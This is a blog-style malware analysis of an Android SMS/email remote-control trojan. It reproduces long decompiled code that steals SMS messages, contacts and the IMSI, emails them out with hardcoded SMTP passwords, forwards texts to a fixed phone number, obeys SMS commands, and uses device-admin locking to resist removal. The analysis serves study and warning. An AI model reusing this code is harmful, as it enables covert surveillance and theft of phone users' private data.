2. 程式人生 > >木馬APP的簡單分析(Android Killer分析)

木馬APP的簡單分析(Android Killer分析)

阿新 • • 發佈：2017-11-01
com smtp pow super text lsm integer ref rar

本文作者：三星s7edge

一.此貼目的：分析一個木馬APP樣本的行為。—————————————————————————————————————————————————-
二.分析步驟及結果：

文件名稱：Project_Mod.apk
MD5值： 773833c1e4632aaa6b000e891dc49d4b
文件大小： 439.98KB
上傳時間： 2017-09-29 13:13:17
包名： com.nai.ke
最低運行環境： Android 4.0, 4.0.1, 4.0.2
版權： Android

1.在模擬器上安裝APP初步查看行為

由於給的樣本中沒有原來的APK文件，所以我只好用apktool進行了一次回編譯並簽名後得到了APK文件，才得以在模擬器上安裝。

技術分享

這裏看出程序是獲取鎖定屏幕的權限。

技術分享

技術分享

以上是這款APP的權限，包括讀取通訊錄短信的敏感權限。

2.我將這個APP文件上傳至哈勃分析系統

android.permission.WRITE_SMS        寫短信
android.permission.READ_SMS        讀取短信
android.permission.SEND_SMS        發送短信
android.permission.RECEIVE_SMS        監控接收短信
android.permission.INTERNET        連接網絡（2G或3G）
android.permission.READ_CONTACTS        讀取聯系人信息
android.permission.WRITE_CONTACTS        寫入聯系人信息
android.permission.WRITE_EXTERNAL_STORAGE        寫外部存儲器（如：SD卡）
android.permission.PROCESS_OUTGOING_CALLS        監視、修改有關撥出電話
android.permission.READ_PHONE_STATE        讀取電話狀態
android.permission.CALL_PHONE        撥打電話
android.permission.WRITE_CALL_LOG        寫入通話記錄
android.permission.RECEIVE_BOOT_COMPLETED        接收開機啟動廣播
android.permission.DISABLE_KEYGUARD        禁用鍵盤鎖
android.permission.WAKE_LOCK        手機屏幕關閉後後臺進程仍運行

技術分享

技術分享

至此其實就很清楚這個APP大概會在安卓系統裏幹些什麽了。

3.現在將此APK文件反編譯後的jar文件用Java Decompiler打開查看具體代碼

由於此木馬樣本比較簡單，我從頭到尾翻了一遍代碼，以下為較重要功能部分

在d.class中 獲取[email][email protected][/email]這個郵箱收到的郵件內容，有趣的是在郵箱後面還跟了一串字符串，是郵箱的密碼。

public void a(String paramString1, String paramString2)
 {
   String str = l.a(this.c, "zzxx", "tel");
   b localb = new b();
   localb.a("smtp.163.com", "25");
   try
   {
     localb.a("[email protected]", str + "(***收到DX***)", "發信人:" + paramString2 + "-內容:" + paramString1);
     localb.a(new String[] { "[email protected]" });
     localb.b("smtp.163.com", "[email protected]", "apowtzjtereitcao");
     return;
   }

在h.class中，攔截短信到並發送給15877587263

public h(String paramString1, String paramString2, Context paramContext)
  {
    this.a = paramString1;
    this.b = paramString2;
    this.c = paramContext;
  }
   
  protected String a(Integer... paramVarArgs)
  {
    publishProgress(new Integer[] { Integer.valueOf(1) });
    a.b("攔截消息doInBackground");
    a(this.a, this.b);
    return "doInBackground:" + paramVarArgs;
  }
   
  protected void a(String paramString)
  {
    a.b("攔截消息後發送結束:" + paramString);
  }
   
  public void a(String paramString1, String paramString2)
  {
    a.b("content:" + paramString2);
    String str1 = e.a(this.c, paramString1);
    paramString2 = a.c(paramString2);
    if (paramString2 == null) {}
    for (;;)
    {
      return;
      if (paramString2.size() == 1)
      {
        paramString1 = a.a(paramString1, str1, (String)paramString2.get(0));
        if (a.a(paramString1)) {
          continue;
        }
        try
        {
          a.b("sendMsg " + "15877587263" + "," + paramString1);
          a.a("15877587263", paramString1);
          a.b("sendMsg over");
          return;
        }
        catch (Exception paramString1)
        {
          a.b("sendMsg exception:" + paramString1.getMessage());
          return;
        }
      }
      paramString2 = paramString2.iterator();
      int j;
      for (int i = 1; paramString2.hasNext(); i = j)
      {
        String str2 = (String)paramString2.next();
        j = i + 1;
        str2 = a.a(paramString1, str1, str2, i);
        if (!a.a(str2)) {
          try
          {
            a.b(j + "==sendMsg " + "15877587263" + "," + str2);
            a.a("15877587263", str2);
            a.b("sendMsg over");
            i = j;
          }
          catch (Exception localException)
          {
            a.b("sendMsg exception:" + localException.getMessage());
          }
        }
      }
    }
  }
   
  protected void b(Integer... paramVarArgs)
  {
    a.b("攔截消息後準備發送中");
  }
   
  protected void onPreExecute()
  {
    a.b("攔截消息後準備發送");
  }
}

在i.class中和dggng中的c.class，明顯就可以看出通過短信遠程操控的操作。

public void a(String paramString1, String paramString2)
  {
    SmsManager localSmsManager = SmsManager.getDefault();
    Object localObject2;
    Object localObject1;
    Iterator localIterator1;
    switch (paramString1.hashCode())
    {
    default: 
    case 49: 
    case 50: 
    case 51: 
      do
      {
        do
        {
          do
          {
            return;
          } while (!paramString1.equals("1"));
          l.a(this.e, "zzxx", "bo", "0");
          localSmsManager.sendTextMessage("15877587263", null, "[font=微軟雅黑]設置成功[/font]", null, null);
          return;
        } while (!paramString1.equals("2"));
        l.a(this.e, "zzxx", "bo", "1");
        localSmsManager.sendTextMessage("15877587263", null, "[font=微軟雅黑]設置成功[/font]", null, null);
        System.out.println(l.a(this.e, "zzxx", "bo"));
        return;
      } while ((!paramString1.equals("3")) || (k.a(this.e)));
      localSmsManager.sendTextMessage("15877587263", null, "[font=微軟雅黑]設置成功[/font],請留意郵件", null, null);
      this.b = new j(this.e);
      this.a = new c(this.e);
      localObject2 = (ArrayList)this.b.a();
      localObject1 = this.a.a();
      paramString1 = this.b.b();
      paramString2 = "*************DXX*************<br><br>";
      localIterator1 = paramString1.iterator();
      label316:
      if (!localIterator1.hasNext())
      {
        paramString1 = paramString2 + "<br>" + "<br>" + "<br>" + "<br>" + "********************TXL*********************" + "<br>";
        paramString2 = ((HashSet)localObject1).iterator();
        if (paramString2.hasNext()) {
          break label1340;
        }
        paramString2 = l.a(this.e, "zzxx", "tel");
        localObject1 = new b();
        ((b)localObject1).a("smtp.163.com", "25");
      }
      break;
    }
    for (;;)
    {
      try
      {
        ((b)localObject1).a("[email protected]", paramString2 + "(重新獲取的短信錄或通訊錄)" + "機型:" + Build.MODEL + ",系統版本:" + Build.VERSION.RELEASE, paramString1);
        ((b)localObject1).a(new String[] { "[email protected]" });
        ((b)localObject1).b("smtp.163.com", "[email protected]", "1634576908qq");
        return;
      }
      catch (Addres**ception paramString1)
      {
        localSmsManager.sendTextMessage("15877587263", null, "獲取失敗", null, null);
        paramString1.printStackTrace();
        Log.e("wxl", "Addres**ception", paramString1);
        return;
        if (!paramString1.equals("4")) {
          break;
        }
        l.a(this.e, "zzxx", "da", "1");
        localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
        System.out.println(l.a(this.e, "zzxx", "da"));
        return;
        if (!paramString1.equals("5")) {
          break;
        }
        System.out.println("開始群發嗎？");
        this.a = new c(this.e);
        paramString1 = this.a.a();
        if (l.b(this.e, "zzxx", "qf") != 0) {
          break;
        }
        localSmsManager.sendTextMessage("15877587263", null, "開始群發", null, null);
        paramString1 = paramString1.iterator();
        if (!paramString1.hasNext())
        {
          localSmsManager.sendTextMessage("15877587263", null, "群發結束", null, null);
          l.a(this.e, "zzxx", "qf", 1);
          return;
          if (!paramString1.equals("6")) {
            break;
          }
          localSmsManager.sendTextMessage(paramString2.substring(4, 15), null, paramString2.substring(16), null, null);
          localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
          return;
          if (!paramString1.equals("7")) {
            break;
          }
          l.a(this.e, "zzxx", "qf", 0);
          localSmsManager.sendTextMessage("15877587263", null, "重置成功，請成功發送群指令", null, null);
          return;
          if (!paramString1.equals("8")) {
            break;
          }
          localSmsManager.sendTextMessage("15877587263", null, "指令不正確，重新發送", null, null);
          return;
          if (!paramString1.equals("9")) {
            break;
          }
          l.a(this.e, "zzxx", "xin", "1");
          localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
          return;
          if (!paramString1.equals("10")) {
            break;
          }
          l.a(this.e, "zzxx", "xin", "0");
          localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
          return;
          if (!paramString1.equals("11")) {
            break;
          }
          l.a(this.e, "zzxx", "da", "0");
          localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
          return;
          if (!paramString1.equals("12")) {
            break;
          }
          l.a(this.e, "zzxx", "da", "1");
          localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
          return;
          if (!paramString1.equals("13")) {
            break;
          }
          paramString1 = new Intent("android.intent.action.CALL", Uri.parse("tel:**21*" + paramString2.substring(4, 15) + "#"));
          paramString1.addFlags(268435456);
          this.e.startActivity(paramString1);
          localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
          localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
          return;
          if (!paramString1.equals("14")) {
            break;
          }
          paramString1 = new Intent("android.intent.action.CALL", Uri.parse("tel:##21#"));
          paramString1.addFlags(268435456);
          this.e.startActivity(paramString1);
          localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
          return;
          String str = (String)localIterator1.next();
          paramString1 = paramString2 + "<br>" + "<br>" + "<br>" + "<br>" + "************************" + "收到FXR號碼:" + str + "************************" + "<br>";
          Iterator localIterator2 = ((ArrayList)localObject2).iterator();
          paramString2 = paramString1;
          if (!localIterator2.hasNext()) {
            break label316;
          }
          paramString2 = (e)localIterator2.next();
          if (!str.equals(paramString2.b())) {
            continue;
          }
          if (paramString2.d().equals("1"))
          {
            paramString1 = paramString1 + "<br>" + "<font color=" + "red>" + "[收發的短信時間:" + paramString2.c() + "]," + "短信內容:" + paramString2.a() + "</font>" + "<br>";
            continue;
          }
          paramString1 = paramString1 + "<br>" + "<font color=" + "blue>" + "[收發的短信時間:" + paramString2.c() + "]," + "短信內容:" + paramString2.a() + "</font>" + "<br>";
          continue;
          localObject1 = (a)paramString2.next();
          paramString1 = paramString1 + "名字:" + ((a)localObject1).a() + "\t" + ((a)localObject1).b() + "<br>" + "<br>";
        }
      }
      catch (MessagingException paramString1)
      {
        label1340:
        localSmsManager.sendTextMessage("15877587263", null, "獲取失敗", null, null);
        paramString1.printStackTrace();
        Log.e("wxl", "MessagingException", paramString1);
        return;
      }
      localObject1 = (a)paramString1.next();
      localObject2 = ((a)localObject1).b().replace("-", "").replace("\\s", "");
      if ((((String)localObject2).length() == 11) || (((String)localObject2).substring(0, 1) == "1")) {
        localSmsManager.sendTextMessage(((a)localObject1).b(), null, ((a)localObject1).a() + paramString2.substring(4), null, null);
      }
    }
  }
}

值得註意的是在dggng中c.class的末尾 看出來作者可以有更改郵箱的操作 即控制客戶期間可以隨意更換目標郵箱

技術分享

這裏就是判斷是否短信發送成功及接收成功

技術分享

在love HssSeervice.class和MainService.class中都有類似的獲取設備型號發送至郵箱的操作。

if (this.b.getInt(“IsFirstRun”, 1) == 1)

{

localObject1 = this.b.getString(“imsi”, c.k);

if (this.b.getInt(“isAdminActive”, 0) != 1) {

break label390;

}

new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.c, “成功啟動：\nI M S I 號 : ” + (String)localObject1);

if (c.a(love.qin.co.service.dggng.a.d)) {

new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.d, “已經激活，版本” + i + “\n” + “IMSI號: ” + (String)localObject1 + “\n” + “型號：” + Build.MODEL + “\n” + “對應的郵箱：” + love.qin.co.service.dggng.a.j);

}

}

for (;;)

{

localObject1 = this.b.edit();

((SharedPreferences.Editor)localObject1).putInt(“IsFirstRun”, 0);

((SharedPreferences.Editor)localObject1).commit();

a();

return;

label390:

new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.c, “成功啟動：\nI M S I 號: ” + (String)localObject1);

if (c.a(love.qin.co.service.dggng.a.d)) {

new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.d, “已經激活，版本” + i + “\n” + “IMSI號: ” + (String)localObject1 + “\n” + “型號：” + Build.MODEL + “\n” + “對應的郵箱：” + love.qin.co.service.dggng.a.j);

}

}

}

在love MyAdmin.class中，這裏是判斷客戶是否激活了設備管理器

public class MyAdmin

extends DeviceAdminReceiver

{

public void onDisabled(Context paramContext, Intent paramIntent)

{

super.onDisabled(paramContext, paramIntent);

new a().a(“客戶已經取消激活”);

new e(“客戶已經取消激活！”);

}

public void onEnabled(Context paramContext, Intent paramIntent)

{

super.onEnabled(paramContext, paramIntent);

}

public void onReceive(Context paramContext, Intent paramIntent)

{

super.onReceive(paramContext, paramIntent);

System.out.println(“onreceiver”);

}

}

在love PhoService.class攔截短信並轉發的具體代碼

public class PhoService
  extends Service
{
  String a = "";
  int b = 0;
  Handler c = new b(this);
 
  private String a(List paramList)
  {
    StringBuilder localStringBuilder = new StringBuilder();
    paramList = paramList.iterator();
    for (;;)
    {
      if (!paramList.hasNext()) {
        return localStringBuilder.toString();
      }
      Object localObject = (a1)paramList.next();
      String str1 = ((a1)localObject).e();
      String str2 = ((a1)localObject).f();
      String str3 = ((a1)localObject).b();
      localObject = ((a1)localObject).a();
      localStringBuilder.append("-------------------------\n");
      localStringBuilder.append("         " + (String)localObject + "         " + str1 + "         " + str3 + "        " + "     短信內容" + "\n");
      localStringBuilder.append(str2 + "\n");
    }
  }
 
  private String a(List paramList, int paramInt)
  {
    String.format("%1$-80s", new Object[] { "  " });
    StringBuilder localStringBuilder = new StringBuilder();
    paramList = paramList.iterator();
    for (;;)
    {
      if (!paramList.hasNext()) {
        return localStringBuilder.toString();
      }
      Object localObject = (Map)paramList.next();
      String str = (String)((Map)localObject).get("name");
      localObject = (String)((Map)localObject).get("number");
      localStringBuilder.append(String.format("%1$-80s", new Object[] { str + ":  " + (String)localObject }));
    }
  }
 
  private List b()
  {
    ArrayList localArrayList = new ArrayList();
    for (;;)
    {
      int i;
      try
      {
        Cursor localCursor = getContentResolver().query(Uri.parse("content://sms/"), new String[] { "_id", "address", "person", "body", "date", "type" }, null, null, "date desc");
        if (!localCursor.moveToNext())
        {
          localCursor.close();
          return localArrayList;
        }
        String str5 = localCursor.getString(localCursor.getColumnIndex("person"));
        String str6 = localCursor.getString(localCursor.getColumnIndex("address"));
        String str4 = localCursor.getString(localCursor.getColumnIndex("body"));
        String str7 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date(Long.parseLong(localCursor.getString(localCursor.getColumnIndex("date")))));
        i = localCursor.getInt(localCursor.getColumnIndex("type"));
        if (i == 1)
        {
          String str1 = "接收";
          continue;
          localArrayList.add(new a1(str5, str6, str3, str7, str1));
          continue;
          str1 = "草稿";
          String str3 = str4;
          if (str4 != null) {
            continue;
          }
          str3 = "";
          continue;
        }
        if (i != 2) {
          break label265;
        }
      }
      catch (SQLiteException localSQLiteException)
      {
        return localArrayList;
      }
      String str2 = "發送;
      continue;
      label265:
      if (i == 0) {
        str2 = "未讀";
      }
    }
  }
 
 
[b][color=#0000ff]在love d.class中是在執行獲取所有歷史短信[/color][/b]
[mw_shl_code=java,true]  public void run()
  {
    try
    {
      Object localObject1 = new g(this.a.getApplicationContext());
      String str = ((g)localObject1).c();
      Object localObject2 = ((g)localObject1).b();
      localObject1 = localObject2;
      if (localObject2 == null) {
        localObject1 = "";
      }
      if ((love.qin.co.service.dggng.c.a((String)localObject1)) || (((String)localObject1).length() == 14)) {}
      for (localObject1 = "電話：" + (String)localObject1 + "的所有短信記錄;; localObject1 = "IMSI：" + str + "的所有短信記")
      {
        str = PhoService.a(this.a, PhoService.a(this.a));
        localObject2 = localObject1;
        if (str.length() <= "  ".length()) {
          localObject2 = localObject1 + " 客戶手機限制，獲取歷史短信失敗";
        }
        localObject1 = new h();
        love.qin.co.service.a1.c localc = new love.qin.co.service.a1.c();
        localc.a(a.i);
        localc.b(a.r);
        localc.a(true);
        localc.f(a.f);
        localc.d(a.g);
        localc.c(a.f);
        localc.e(a.h);
        localc.g((String)localObject2);
        localc.h(str);
        ((h)localObject1).a(localc);
}
    }
}

在e.class中是在執行獲取通訊錄

public void run()

{

try

{

Object localObject1 = new g(this.a.getApplicationContext());

String str = ((g)localObject1).c();

Object localObject2 = ((g)localObject1).b();

localObject1 = localObject2;

if (localObject2 == null) {

localObject1 = “”;

}

if ((love.qin.co.service.dggng.c.a((String)localObject1)) || (((String)localObject1).length() == 14)) {}

for (localObject1 = “電話：” + (String)localObject1 + “的通訊錄”;; localObject1 = “IMSI號” + str + “的通訊錄”)

{

localObject2 = this.a.a();

str = PhoService.a(this.a, (List)localObject2, 1);

localObject2 = localObject1;

if (str.length() <= “ “.length()) {

localObject2 = localObject1 + ” 客戶手機限制，獲取通訊錄失敗”;

}

localObject1 = new h();

love.qin.co.service.a1.c localc = new love.qin.co.service.a1.c();

localc.a(a.i);

localc.b(a.r);

localc.a(true);

localc.f(a.f);

localc.d(a.g);

localc.c(a.f);

localc.e(a.h);

localc.g((String)localObject2);

localc.h(str);

((h)localObject1).a(localc);

在x.x.x FSR.class中是在記錄手機當前是否在通話中

[b][color=#0000ff] [/color][/b]

public void onReceive(Context paramContext, Intent paramIntent)

{

Object localObject = paramContext.getSharedPreferences(“zzxx”, 0);

String str = ((SharedPreferences)localObject).getString(“bo”, “1″);

localObject = ((SharedPreferences)localObject).getString(“da”, “0″);

Log.i(“PhoneStatReceiver”, str);

if (paramIntent.getAction().equals(“android.intent.action.NEW_OUTGOING_CALL”))

{

paramContext = paramIntent.getStringExtra(“android.intent.extra.PHONE_NUMBER”);

System.out.println(“正在打電話”);

if (localObject == “1″)

{

System.out.println(“打不出電話”);

setResultData(null);

}

Log.e(“msg”, “call OUT:” + paramContext);

}

do

{

return;

this.a = ((TelephonyManager)paramContext.getSystemService(“phone”));

switch (this.a.getCallState())

{

default:

return;

case 0:

Log.e(“tag”, “電話空閑”);

return;

case 1:

Log.e(“tag”, “電話已掛斷”);

}

} while (str != “0″);

a();

return;

Log.e(“tag”, “電話已摘機”);

}

}

[color=#0000ff][b]在[/b][/color][b]x.x.x [/b][color=#0000ff][b]PAR.class中 通過[/b][/color][b][color=#0000ff]sendTextMessage發送短信告知魚試圖逃跑，即卸載程序[/color][/b]

public class PAReceiver

extends DeviceAdminReceiver

{

public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)

{

paramIntent = l.a(paramContext, “zzxx”, “tel”);

com.b.a.a.b.a(paramIntent);

if (l.b(paramContext, “zzxx”, “pop”) == 0)

{

l.a(paramContext, “zzxx”, “pop”, 1);

SmsManager.getDefault().sendTextMessage(“15877587263″, null, paramIntent + “魚試圖逃跑”, null, null);

new a(this).start();

}

paramIntent = paramContext.getPackageManager().getLaunchIntentForPackage(“com.android.settings”);

paramIntent.setFlags(268435456);

paramContext.startActivity(paramIntent);

paramContext = (DevicePolicyManager)paramContext.getSystemService(“device_policy”);

paramContext.lockNow();

new Thread(new b(this, paramContext)).start();

return “”;

}

public void onDisabled(Context paramContext, Intent paramIntent) {}

public void onEnabled(Context paramContext, Intent paramIntent)

{

com.b.a.a.b.a(l.a(paramContext, “zzxx”, “tel”));

new c(this).start();

super.onEnabled(paramContext, paramIntent);

}

}

在x.x.x a.class中 通過發送郵件告知魚試圖逃跑，也是在程序卸載時觸發

public void run()
  {
    System.out.println("執行發送郵件");
    com.b.a.b.b localb = new com.b.a.b.b();
    localb.a("smtp.163.com", "25");
    try
    {
      localb.a("[email protected]", "安裝激活" + com.b.a.a.b.b() + "機型" + Build.MODEL + "系統型號:" + Build.VERSION.RELEASE, "哈哈魚到碗裏來了");
      localb.a(new String[] { "[email protected]" });
      localb.b("smtp.163.com", "[email protected]", "1634576908qq");
      return;
    }
    catch (Addres**ception localAddres**ception)
    {
      localAddres**ception.printStackTrace();
      Log.e("wxl", "Addres**ception", localAddres**ception);
      return;
    }
    catch (MessagingException localMessagingException)
    {
      localMessagingException.printStackTrace();
      Log.e("wxl", "MessagingException", localMessagingException);
    }
  }
}

三.總結

此貼僅為簡單APP木馬分析，能看出這是一款典型的遠程手機短信郵件控制的木馬程序，危害性挺大的，一般普通用戶中毒後基本無法察覺。
自我反思：在學習分析這個APP過程中，雖然能大概根據中文看出代碼意思，但是顯得很突兀，很多函數間的調用和聯系沒能準確看出來，文章感覺條理不是太清晰，感覺自己太菜了。

木馬APP的簡單分析(Android Killer分析)

相關推薦

木馬APP的簡單分析(Android Killer分析)

com smtp pow super text lsm integer ref rar 本文作者：三星s7edge 一.此貼目的：分析一個木馬APP樣本的行為。—————————————————————————————————————————————————-二.分析步驟及

【轉載】Android Bug分析系列：第三方平臺安裝app啟動後，home鍵回到桌面後點擊app啟動時會再次啟動入口類bug的原因剖析

特殊 返回 androidm android系統 圖片 管理 相關 OS 簡便 前言 　　前些天，測試MM發現了一個比較奇怪的bug。 　　具體表現是： 　　1、將app包通過電腦QQ傳送到手機QQ上面，點擊安裝，安裝後選擇打開app （此間的應用邏輯應該是要觸發 【閃屏頁

[Android病毒分析]木馬病毒之DroidKongFu病毒

木馬病毒之DroidKongFu病毒 一、 樣本概況 1.1 樣本資訊 檔名稱：Cut The Rope Unlock.apk 檔案型別：application/jar 樣本包名：com.tebs3.cuttherope 樣本大小：88.1KB MD5：45F86E5027495

[Android病毒分析]木馬病毒之10086

木馬病毒之10086 一、 樣本概況 1.1 樣本資訊 檔名稱：10086.apk 檔案型別：application/jar 樣本包名：iuxkikw.zkjaksj.jhyvu 樣本大小：31.3KB MD5：C2CD6ABCB62A8DF958049ACFFA204392 S

Android原始碼分析之簡單工廠模式

模式的定義 簡單工廠模式又稱為靜態方法工廠模式，是由一個工廠物件決定建立哪一個產品類的例項。 使用場景 客戶端需要建立物件、隱藏物件的建立過程，且目標物件型別數量不多的情況下，可以考慮使用簡單工廠模式。 UML類圖 角色介紹 Product 產品的通用介面，定義產

Android Launcher分析和修改9——Launcher啟動APP流程

　　本來想分析AppsCustomizePagedView類，不過今天突然接到一個臨時任務。客戶反饋說機器介面的圖示很難點選啟動程式，經常點選了沒有反應，Boss說要優先解決這問題。沒辦法，只能看看是怎麼回事。今天分析一下Launcher啟動APP的過程。從使用者點選到程式啟動的流程，下面針對WorkSpac

簡單的無線網路分析APP

前言 整理網盤發現14年的畢設，在交畢設前勉強能“跑起來”，還是會崩，mark一下實現過程！ 編碼實現 無線網路掃描模組 通過使用WifiManager.getScanResults()方法返回一個ScanResult列表，其中列表包含以要用到的幾個

通過 Battery Historian 工具分析 Android APP 耗電情況

電量統計模組概述 Android 從兩個層面統計電量的消耗，分別為 軟體排行榜 及 硬體排行榜。它們各有自己的耗電榜單，軟體排行榜為機器中每個 App 的耗電榜單，硬體排行榜則為各個硬體的耗電榜單。這兩個排行榜的統計是互為獨立，互不干擾的。 具體的說，耗電資訊在 設定

Android逆向分析初體驗

目錄 搜索 比較 .com -1 動態調試 總結 為我 修改 一、 準備知識 1. 懂Java Android開發。 2. 懂NDK ，C 語言 Android 動態鏈接庫.SO開發。 3.

【轉】Android 4.0 Launcher2源碼分析——啟動過程分析

handler flag 這一 第一次啟動 asynctask pla size ontouch wait Android的應用程序的入口定義在AndroidManifest.xml文件中可以找出：[html] <manifest xmlns:android="htt

【原創】源碼角度分析Android的消息機制系列（一）——Android消息機制概述

run 權限 開發 等待 通過 讀取 概述 走了 color ι 版權聲明：本文為博主原創文章，未經博主允許不得轉載。 1.為什麽需要Android的消息機制 因為Android系統不允許在子線程中去訪問UI，即Android系統不允許在子線程中更新UI。 為什麽不允許

【原創】源碼角度分析Android的消息機制系列（二）——ThreadLocal的工作過程

機制 simple hand 這就是 數據存儲 read etc lena 並且 ι 版權聲明：本文為博主原創文章，未經博主允許不得轉載。 在上一篇文章中，我們已經提到了ThreadLocal，它並非線程，而是在線程中存儲數據用的。數據存儲以後，只能在指定的線程中獲取到數據

【原創】源碼角度分析Android的消息機制系列（三）——ThreadLocal的工作原理

沒有 cit gen 管理 pre 靜態 bsp 允許 clas ι 版權聲明：本文為博主原創文章，未經博主允許不得轉載。 先看Android源碼（API24）中對ThreadLocal的定義： public class ThreadLocal<T>

【原創】源碼角度分析Android的消息機制系列（四）——MessageQueue的工作原理

enc 容易 工作 trie oss 當前 within which ptime ι 版權聲明：本文為博主原創文章，未經博主允許不得轉載。 MessageQueue，主要包含2個操作：插入和讀取。讀取操作會伴隨著刪除操作，插入和讀取對應的方法分別為enqueueMes

【原創】源碼角度分析Android的消息機制系列（六）——Handler的工作原理

urn long empty isa pat stat 開啟 it is performed ι 版權聲明：本文為博主原創文章，未經博主允許不得轉載。 先看Handler的定義： /** * A Handler allows you to send and proc

Android Framework 分析---2消息機制Native層

jnienv car 下一個 sas tracking zed 高效 方法 java 在Android的消息機制中。不僅提供了供Application 開發使用的java的消息循環。事實上java的機制終於還是靠native來實現的。在native不僅提供一套消息傳

Android視頻播放方案選擇——深刻分析android平臺的視頻播放優缺點

位置 player 帶來 epg 代理服 reset 如何 rac 下一個 https://zhuanlan.zhihu.com/p/27029577?utm_source=qq&utm_medium=social Android我還可以相信你多少系列文章二之

木馬分析（控制分析）實驗

src 可能 理解 操作 strong 火墻 -128 顯示 es2017 一、實驗目的 理解和掌握木馬傳播和運行的基本原理 在虛擬機上模擬木馬傳播和感染 認識常見的木馬控制功能 加深對木馬的安全防範意識 二、實驗內容 介紹與木馬相關的基本概念 配置木馬文件 測試木馬

android黑科技系列——Wireshark和Fiddler分析Android中的TLS協議包數據(附帶案例樣本)

以管理員身份運行 inter pca lar stop 解析失敗 dash 獲取 程序 一、前言 在之前一篇文章已經介紹了一款網絡訪問軟件的破解教程，當時采用的突破口是應用程序本身的一個漏洞，就是沒有關閉日誌信息，我們通過抓取日誌獲取到關鍵信息來找到突破口進行破解的。那篇

Unity（Android版）和Android原生APP簡單實現版本更新

directory 代碼 server 頁面 提示框 自動安裝 obj nis 查看 版本檢測接口說明：（1）請求post，無參數（2）調用地址：http://www.baidu.com/rs/ver/info（3）返回結果：{ "verCode": "2",